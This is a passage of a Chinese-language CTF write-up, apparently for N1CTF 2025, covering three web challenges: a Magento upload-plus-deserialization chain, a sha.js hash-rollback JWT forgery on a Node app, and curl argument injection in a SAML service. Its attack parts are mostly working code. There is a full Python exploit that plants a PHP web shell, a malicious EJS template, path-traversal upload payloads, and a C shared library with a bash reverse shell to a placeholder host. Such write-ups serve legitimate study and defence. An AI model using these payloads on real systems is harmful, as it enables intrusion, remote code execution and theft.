["full_path"]=>
string(9) "test_file"
["type"]=>
string(10) "text/plain"
["tmp_name"]=>
string(14) "/tmp/phpMsGHbm"
["error"]=>
int(0)
["size"]=>
int(5)
}
|
所以取到第一个key是name所以报错,作者说明替换前面的custom_attributes改成custom_attributes[SOME_ATTRIBUTE]就能变成我们想要的属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
array(1) {
["SOME_ATTRIBUTE"]=>
array(6) {
["name"]=>
string(9) "test_file"
["full_path"]=>
string(9) "test_file"
["type"]=>
string(10) "text/plain"
["tmp_name"]=>
string(14) "/tmp/phpk8FWf6"
["error"]=>
int(0)
["size"]=>
int(5)
}
}
|
所以我们需要找一个合适的key值,去数据库里面查找
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
mysql> SELECT attribute_code, frontend_input FROM eav_attribute
-> WHERE entity_type_id = (
-> SELECT entity_type_id FROM eav_entity_type
-> WHERE entity_type_code = 'customer_address'
-> );
+---------------------+----------------+
| attribute_code | frontend_input |
+---------------------+----------------+
| city | text |
| company | text |
| country_id | select |
| fax | text |
| firstname | text |
| lastname | text |
| middlename | text |
| postcode | text |
| prefix | text |
| region | text |
| region_id | hidden |
| street | multiline |
| suffix | text |
| telephone | text |
| vat_id | text |
| vat_is_valid | text |
| vat_request_date | text |
| vat_request_id | text |
| vat_request_success | text |
+---------------------+----------------+
|
我们找到country_id填入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
POST /customer/address_file/upload HTTP/1.1
Host: example.com
Content-Length: 647
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Cookie: form_key=f49TpaNHU56uEgZc
Connection: close
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="form_key"
f49TpaNHU56uEgZc
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="test_file"
Content-Type: text/plain
Hello world
------WebKitFormBoundaryDNFoGI9h3cNjiBCQ--
{
"name": "test_file",
"full_path": "test_file",
"type": "text/plain",
"tmp_name": "test_file",
"error": 0,
"size": 11,
"file": "/t/e/test_file",
"url": "http://192.168.198.130/customer/address/viewfile/file/dC9lL3Rlc3RfZmlsZQ~~/"
}
|
上传成功,内容已写入文件pub/media/customer_address/t/e/test_file
触发反序列化
由于这个cms依赖比较多,我们可以找到一个依赖 Guzzle,能够任意文件写入payload
利用这个需要一个序列化载荷,将phpggc这个反序列化工具添加到链中我们得到利用脚本
1
2
3
4
5
6
7
8
9
10
|
HOST="http://example.com"
PAYLOAD_IN="/tmp/payload.php"
PAYLOAD_OUT="/var/www/html/magento2/pub/exploit.php"
FORMKEY=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
SESSID=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 26 | head -n 1)
./phpggc -se -pub -a Guzzle/FW1 "$PAYLOAD_OUT" "$PAYLOAD_IN"
curl -ks --cookie "form_key=$FORMKEY" -F "form_key=$FORMKEY" -F "custom_attributes[country_id]=@/tmp/sess_$SESSID" "$HOST/customer/address_file/upload"
curl -ks -X PUT --cookie "PHPSESSID=$SESSID" --header 'Accept: application/json' "$HOST/rest/default/V1/guest-carts/abc/order" --json '{"paymentMethod":{"paymentData":{"context":{"urlBuilder":{"session":{"sessionConfig":{"savePath":"media/customer_address/s/e"}}}}}}}'
|
如果成功
1
2
3
4
5
6
7
8
|
$ curl -ks "$HOST/pub/exploit.php" --data 'cmd=echo;echo;id;whoami;pwd;echo'
[{"Expires":1,"Discard":false,"Value":"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
/var/www/html/magento2/pub
n"}]
|
完整利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
|
#!/usr/bin/env python3
import os
import random
import string
import subprocess
import requests
import json
def generate_random_string(length, chars=None):
if chars is None:
chars = string.ascii_letters + string.digits
return "".join(random.choice(chars) for _ in range(length))
def main():
HOST = "http://10.253.253.2:80"
PAYLOAD_IN = "shell.php"
PAYLOAD_OUT = "pub/exploit.php"
FORMKEY = generate_random_string(16)
SESSID = generate_random_string(26, string.ascii_lowercase + string.digits)
print(f"[*] Generated FORMKEY: {FORMKEY}")
print(f"[*] Generated SESSID: {SESSID}")
try:
print("[*] Executing phpggc command...")
subprocess.run(["php", "./phpggc/phpggc", "-se", "Guzzle/FW1", PAYLOAD_OUT, PAYLOAD_IN, "-o", "session"], check=True)
print("[+] phpggc command executed successfully")
except subprocess.CalledProcessError as e:
print(f"[-] Error executing phpggc: {e}")
return
except FileNotFoundError:
print("[-] phpggc not found. Please ensure it's in the current directory")
return
try:
print("[*] Sending file upload request...")
session_file = f"session"
files = {
"form_key": (None, FORMKEY),
"custom_attributes[country_id]": (f"sess_{SESSID}", open(session_file, "rb"), "application/octet-stream"),
}
cookies = {"form_key": FORMKEY}
response = requests.post(f"{HOST}/customer/address_file/upload", files=files, cookies=cookies, verify=False)
print(f"[+] File upload response status: {response.status_code}")
except Exception as e:
print(f"[-] Error in file upload request: {e}")
return
try:
print("[*] Sending REST API request...")
headers = {"Accept": "application/json", "Content-Type": "application/json"}
cookies = {"PHPSESSID": SESSID}
print(f"[*] Using PHPSESSID cookie: {SESSID}")
payload = {
"address": {
"directoryData": {
"context": {"urlDecoder": {"urlBuilder": {"session": {"sessionConfig": {"savePath": "media/customer_address/s/e"}}}}}
}
}
}
response = requests.post(
f"{HOST}/rest/all/V1/guest-carts/123/estimate-shipping-methods",
headers=headers,
cookies=cookies,
data=json.dumps(payload),
verify=False,
)
print(f"[+] REST API response status: {response.status_code}")
if response.text:
print(f"[+] Response: {response.text}")
except Exception as e:
print(f"[-] Error in REST API request: {e}")
return
try:
print("[*] Verifying exploit success...")
params = {"1": 'system("id");'}
response = requests.get(f"{HOST}/exploit.php", params=params, verify=False)
if response.status_code == 200 and "www-data" in response.text:
print(response.text)
print("[+] Exploit successful! Access the web shell at:")
print(f" {HOST}/exploit.php?1=system('id');")
else:
print("[-] Exploit may have failed. Could not access the web shell.")
except Exception as e:
print(f"[-] Error verifying exploit: {e}")
return
print("[+] Exploit completed")
if __name__ == "__main__":
main()
|
eezzjs
o( ❛ᴗ❛ )o
sha.js的加密出现问题,Missing type checks can allow types other than a well-formed Buffer or string, resulting in undefined behaviour · Advisory · browserify/sha.js · GitHub
大概的意思是加密体里面加上{length: -x},会使得hash回滚,与之前计算的hash值一样
举个例子
1
2
3
4
5
|
// 正常计算
sha256('foo') // 返回正确哈希
// 恶意攻击 - 通过特殊对象回滚哈希状态
sha256('fooabc').update({length: -3}) // 返回与 'foo' 相同的哈希!
|
那我们可以本地下载这个相同版本的sha.js库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
const sha = require('sha.js')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => {console.log('[DEBUG] m =', m); hash.update(m)})
return hash.digest('hex')
}
const header = {
"typ": "JWT",
"alg": "HS256"
};
var payload = {
"exp": 9999999999,
"foo": "bar",
"length": -45
};
const secret = 'a'.repeat(18);
console.log(sha256(...[JSON.stringify(header), payload, secret]));
|
由于jwt加密是要secret,我们只能利用这个漏洞覆盖之前的secret,采用18个a来覆盖,前面的header头长度+secret的长度恰好为45个字符,我们直接回滚45字符,得的hash值是固定,也就是18个a的hash值
也就是
1
2
|
// 服务端验证时实际执行:
sha256(header + 恶意body + secret) = sha256(secret) = magic_hash
|
实际上这样写更清楚
1
2
|
header = b'{"alg":"HS256","typ":"JWT"}' # 长度27字节
body = b'{"length":-%d,"username":"admin"}' % (len(header) + 18) # 27 + 18 = 45
|
接下来就能得到admintoken来到下一步了,我的思路是上传恶意ejs文件渲染
首先准备一个恶意ejs
1
2
3
4
5
|
<%
const cp = (Function('return process'))().mainModule.require('child_process');
const data = cp.execSync('cat /flag', 'utf8');
%>
<pre><%= data %></pre>
|
上传的waf只限制js后缀,我们直接/a/..绕过:
1
|
filename=../../app/views/1.ejs/a/..
|
然后templ参数解析得到flag
或者自定义上传文件后缀名来绕过这个
先上传一个pwned.pwned文件
1
|
{"filename":"../views/pwned.pwned","filedata":"dGVzdAo="}//test
|
然后上传到/app/node_modules/
1
2
3
4
5
6
7
|
{"filename":"../node_modules/pwned","filedata":"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07"}
//解码后
function __express() {
console.log('pwnedb');
}
module.exports = { __express };
|
这里可以将console.log换成命令执行
作者的预期解法:可以用node后缀替代前面的js后缀
给出的exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
// const {signJWT, verifyJWT} = require("./auth");
const crypto = require("crypto");
const http = require('http');
const { execSync } = require('child_process');
// if you want to generate token by yourself, uncomment below lines
// const header = { alg: 'HS256', typ: 'JWT' };
// const len=-(JSON.stringify(header).length+18);
// token=signJWT({username:"admin",length:len},crypto.randomBytes(9).toString('hex'))
// console.log(token)
// console.log(verifyJWT(token,crypto.randomBytes(9).toString('hex')))
token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwibGVuZ3RoIjotNDUsImlhdCI6MTc2MjE0MzU0MH0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229"
try {
execSync('npm install node-gyp && ./node_modules/.bin/node-gyp configure && ./node_modules/.bin/node-gyp build', {
stdio: 'inherit' // 直接打印输出
});
console.log('build success');
} catch (e) {
console.error('❌ build error', e.message);
}
const fs = require('node:fs');
const bin = fs.readFileSync('./build/Release/exp.node');
const b64File = bin.toString('base64'); // 文件编码为 Base64
const data = JSON.stringify({ filename: '../node_modules/exp.node', filedata: b64File });
const options = {
hostname: '127.0.0.1', // 目标主机
port: 3000, // HTTP 默认端口
path: '/upload', // 请求路径
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data),
'Cookie': `token=${encodeURIComponent(token)}`
}
};
const req = http.request(options, (res) => {
console.log(`req1状态码: ${res.statusCode}`);
// 响应结束时触发
res.on('end', () => {
console.log('响应接收完毕');
});
});
req.on('error', (err) => {
console.error('请求出错:', err);
});
req.write(data);
req.end();
req2=http.request(
{hostname:"127.0.0.1",
port:3000,
path:"/?templ=1.exp",
method:"GET",
},(res)=>{
console.log(`req2状态码: ${res.statusCode}`);
// 响应结束时触发
res.on('end', () => {
console.log('响应接收完毕');
});
});
req2.end()
|
N1SAML
A cloud-native, containerized, strongly consistent SAML web application, but maybe something is wrong? Due to differences between local and remote environments, you need to be aware of the following: 1. In a local environment (started using docker-compose), the healthcheck, sp, proxy, and kvstore containers have different IP addresses in the Docker network. Therefore, within the run.sh scripts of these containers, the container names will be used as domain names for requests (e.g., proxy:2379, sp:9000). 2. In a remote environment (deployed based on Kubernetes), the healthcheck, sp, proxy, and kvstore containers belong to the same pod, therefore they share a single IP address, which is obtained using the hostname -i command.
x1r0z的wp:Breaking Raft Consensus in Go: N1SAML Writeup for N1CTF 2025 - X1r0z Blog
提示是说本地起docker环境healthcheck, sp, proxy, 和kvstore容器是不同的ip地址,而远程是k8s所以是同一个ip地址
查看docker-compose.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
services:
healthcheck:
build: ./healthcheck
ports:
- "8000:8000"
environment:
- IN_DOCKER=true
sp:
build: ./sp
ports:
- "9000:9000"
environment:
- IN_DOCKER=true
- FLAG="flag{test}"
depends_on:
- kvstore
- proxy
proxy:
build: ./proxy
ports:
- "2379:2379"
environment:
- IN_DOCKER=true
depends_on:
- kvstore
kvstore:
build: ./kvstore
ports:
- "12379:12379"
- "22379:22379"
- "32379:32379"
- "12380:12380"
- "22380:22380"
- "32380:32380"
environment:
- IN_DOCKER=true
|
4个容器healthcheck是运行在sp上的一个curl命令,kvstore是一个数据库存放key-value,sp就是一个服务,验证身份和返回flag
curl参数注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
func HealthCheck(c *gin.Context) {
params := make(map[string]string)
_ = c.ShouldBindJSON(¶ms)
args := make([]string, 0)
args = append(args, url)
if len(params) > 0 {
for k, v := range params {
args = append(args, k, v)
}
}
cmd := exec.Command("curl", args...)
if err := cmd.Run(); err != nil {
c.String(http.StatusInternalServerError, "FAIL")
} else {
c.String(http.StatusOK, "OK")
}
}
|
这里拿json格式传入的参数直接调用curl命令,明显有参数注入漏洞
查阅发现--engine参数能够在进行http请求的时候加载so文件
1
|
--engine <name> Crypto engine to use
|
现在问题是怎么上传so文件到目标服务器上,这里-o参数显然是不行的,因为curl的目标url被指定为sp服务的iphttp://sp:9000/了,我们可以找到一个--proxy参数
1
|
-x, --proxy [protocol://]host[:port] Use this proxy
|
这使得可以访问代理后的http://sp:9000/,伪造curl响应,使他返回恶意so
准备一个c文件做成so
1
2
3
4
5
6
|
#include <stdlib.h>
__attribute__((constructor))
static void rce_init(void) {
system("bash -c 'bash -i &> /dev/tcp/host/port 0>&1'");
}
|
gcc编译
1
2
|
# build .so library
docker run -v `pwd`:/build -it --platform=linux/amd64 --rm debian:bookworm-slim bash -c "apt update && apt install -y gcc && cd /build && gcc -fPIC -shared -o evil.so evil.c"
|
然后在vps上重命名为index.html,并且起一个端口监听
1
2
3
|
mv evil.so index.html
simplehttpserver -listen 0.0.0.0:5555
|
最后我们串起来拿到shell,首先设置–proxy为我们的vps,-o参数设置为恶意so,让目标下载我们的恶意so,接着用–engine参数设置加载so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
import requests
url = "http://ip:port/healthcheck"
data = {
'--proxy': 'http://vps:5555/',
'-o': '/tmp/evil.so'
}
resp = requests.post(url, json=data)
print(resp.text)
data = {
'--engine': '/tmp/evil.so'
}
resp = requests.post(url, json=data)
print(resp.text)
|
这样就能拿到shell了,不过flag在sp的whoami路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
func (mw *DynamicSP) RequireAccount(h gin.HandlerFunc) gin.HandlerFunc {
return func(c *gin.Context) {
metadata, err := mw.fetchMetadata()
if err != nil {
c.String(http.StatusInternalServerError, "failed to fetch IdP metadata")
return
}
mw.samlSP.ServiceProvider.IDPMetadata = metadata
session, err := mw.samlSP.Session.GetSession(c.Request)
if session != nil {
c.Request = c.Request.WithContext(samlsp.ContextWithSession(c.Request.Context(), session))
h(c)
return
}
if errors.Is(err, samlsp.ErrNoSession) {
mw.samlSP.HandleStartAuthFlow(c.Writer, c.Request)
return
}
mw.samlSP.OnError(c.Writer, c.Request, err)
}
}
...
func Whoami(c *gin.Context) {
c.Header("Content-Type", "text/plain")
session := samlsp.SessionFromContext(c.Request.Context())
if session == nil {
c.String(http.StatusForbidden, "not signed in")
return
}
sessionWithAttrs, ok := session.(samlsp.SessionWithAttributes)
if !ok {
c.String(http.StatusInternalServerError, "no attributes available")
return
}
attributes := sessionWithAttrs.GetAttributes()
uid := attributes.Get("uid")
mail := attributes.Get("mail")
if uid == "Administrator" && mail == "admin@nu1l.com" {
c.String(http.StatusOK, "Welcome, Administrator! Here is your flag: %s", readFlag())
} else {
c.String(http.StatusOK, "You are not Administrator.")
}
}
func readFlag() string {
b, _ := os.ReadFile("/flag")
return string(b)
}
...
func main() {
...
r.GET("/whoami", mw.RequireAccount(Whoami))
...
}
|
sp这里有一个身份验证,uid == "Administrator" && mail == "admin@nu1l.com"
先简单说明一下SAML协议的运行过程:SP (Service Provider) and idP (Identity Provider)
sp带上私钥向idp发起请求,idp从sp的metadata拿到公钥验证签名,验证登入成功,idp带着私钥发送请求给sp,sp收到请求后,从idp的metadata的公钥再验证签名,所有过程都验证成功,才算认证成功
然后看sp的中间件的实现,从kvstore里面取metadata
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
func (mw *DynamicSP) fetchMetadata() (*saml.EntityDescriptor, error) {
metadataURL, err := url.Parse(mw.endpoint)
if err != nil {
log.Println("failed to parse metadata URL:", err)
return nil, err
}
metadataURL.Path = "/key/metadata"
resp, err := http.Get(metadataURL.String())
if err != nil {
log.Println("failed to fetch metadata:", err)
return nil, err
}
b, err := io.ReadAll(resp.Body)
if err != nil {
log.Println("failed to read metadata response body:", err)
return nil, err
}
dec, err := base64.StdEncoding.DecodeString(string(b))
if err != nil {
log.Println("failed to decode metadata:", err)
return nil, err
}
metadata, err := samlsp.ParseMetadata(dec)
if err != nil {
log.Println("failed to parse metadata:", err)
return nil, err
}
return metadata, nil
}
|
后面难度太大啃不动了😭😭